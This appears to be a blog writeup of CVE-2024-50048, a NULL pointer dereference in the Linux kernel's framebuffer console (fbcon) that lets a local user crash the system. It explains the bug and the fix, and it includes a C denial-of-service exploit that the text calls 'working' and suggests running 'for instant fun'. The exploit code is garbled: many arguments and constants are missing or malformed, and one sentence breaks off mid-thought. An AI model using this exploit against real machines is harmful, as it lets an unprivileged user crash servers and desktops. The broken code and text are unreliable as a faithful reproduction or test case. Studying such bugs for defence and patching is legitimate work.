A serious bug in the Linux kernel’s framebuffer console (fbcon) code, discovered by syzbot and tracked as CVE-2024-50048, could cause a system crash (kernel panic) via a simple user-space program. Here’s an easy-to-understand breakdown of the vulnerability, who is affected, how to exploit it, and a look at the fix.

What is fbcon and Why Should You Care?

fbcon is the framebuffer console subsystem in the Linux kernel—it’s responsible for text display when you’re using the console on a non-graphical Linux system, or during boot and shutdown. It manages the mapping of virtual consoles (tty) to framebuffer devices. If a bug exists here, it can be triggered by unprivileged users or buggy software, causing the whole machine to crash.

The Vulnerability (Summary)

CVE-2024-50048 is a NULL pointer dereference in the fbcon subsystem, specifically in the fbcon_putcs function (which puts strings on the console).

How Does the Bug Occur?

A user can send a combination of ioctl commands to manipulate console and framebuffer mapping, and then trigger a code path where the putcs operation is not set up (i.e., a NULL pointer). When the kernel tries to use this putcs function pointer, it crashes.

> Impact: Local users can trigger a *kernel panic* (denial of service).

The Simple Exploit in C

Here’s a working C code sample that demonstrates the bug. Run this as a normal user on a vulnerable kernel for instant fun (but expect your machine to crash):

#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <linux/fb.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <linux/tiocl.h>

struct param {
	uint8_t type;
	struct tiocl_selection ts;
};

int main()
{
	struct fb_con2fbmap con2fb;
	struct param param;

	// Open the framebuffer device
	int fd = open("/dev/fb1", , );

	con2fb.console = x19;
	con2fb.framebuffer = ;
	ioctl(fd, FBIOPUT_CON2FBMAP, &con2fb);

	param.type = 2;
	param.ts.xs = ; param.ts.ys = ;
	param.ts.xe = ; param.ts.ye = ;
	param.ts.sel_mode = ;

	int fd1 = open("/dev/tty1", O_RDWR, );
	ioctl(fd1, TIOCLINUX, &param);

	con2fb.console = 1;
	con2fb.framebuffer = ;
	ioctl(fd, FBIOPUT_CON2FBMAP, &con2fb);

	return ;
}

You remap again,

- This eventually causes the kernel to follow a code path where the low-level text blitting ops (like putcs) aren’t set up,

This is the problematic chain

set_con2fb_map
 -> con2fb_init_display
  -> fbcon_set_disp
   -> redraw_screen
    -> hide_cursor
     -> clear_selection
      -> highlight
       -> invert_screen
        -> do_update_region
         -> fbcon_putcs
          -> ops->putcs   // <<< NULL pointer dereference

The issue? The ops->putcs function pointer isn’t initialized if you skip the usual preparation steps. Drivers typically set up these pointers by calling set_blitting_type(). In this bug scenario, it wasn’t called, so when the kernel tries to write to the screen: crash.

The Fix

The maintainers patched this by making sure set_blitting_type() is *always* called in set_con2fb_map(), ensuring the needed function pointers like putcs get initialized before they’re used.

- Linux kernel commit
- syzkaller bug report

From the patch

> Call set_blitting_type() in set_con2fb_map() to properly initialize the display operations structure, avoiding NULL pointer dereference.

How to Protect Yourself

- Update your kernel. The fix is merged upstream and will be available in all maintained stable trees.

References

- syzkaller report: fbcon NULL pointer dereference in fbcon_putcs
- Linux kernel patch commit
- CVE Record (pending update)

Summary Table

| CVE | Component | Impact | Attack Vector | Fix Status |
|-----|------------|---------------|----------------------|-------------|
| 2024-50048 | Linux fbcon | Kernel crash (DoS) | Local user with access to /dev/fb* and /dev/tty* | Fixed |

Final Thoughts

This bug is a great example of how even small oversights (like not initializing a function pointer) can crash an entire Linux system. It won’t let attackers take over, but a local user (even non-root) could use this to make servers or desktops unstable until the kernel is upgraded.

Update now—don’t let someone prank you with a kernel panic!

*If you found this writeup useful, check out the official references above and always keep your kernel up to date!*

Timeline

Published on: 10/21/2024 20:15:17 UTC
Last modified on: 11/19/2024 01:15:14 UTC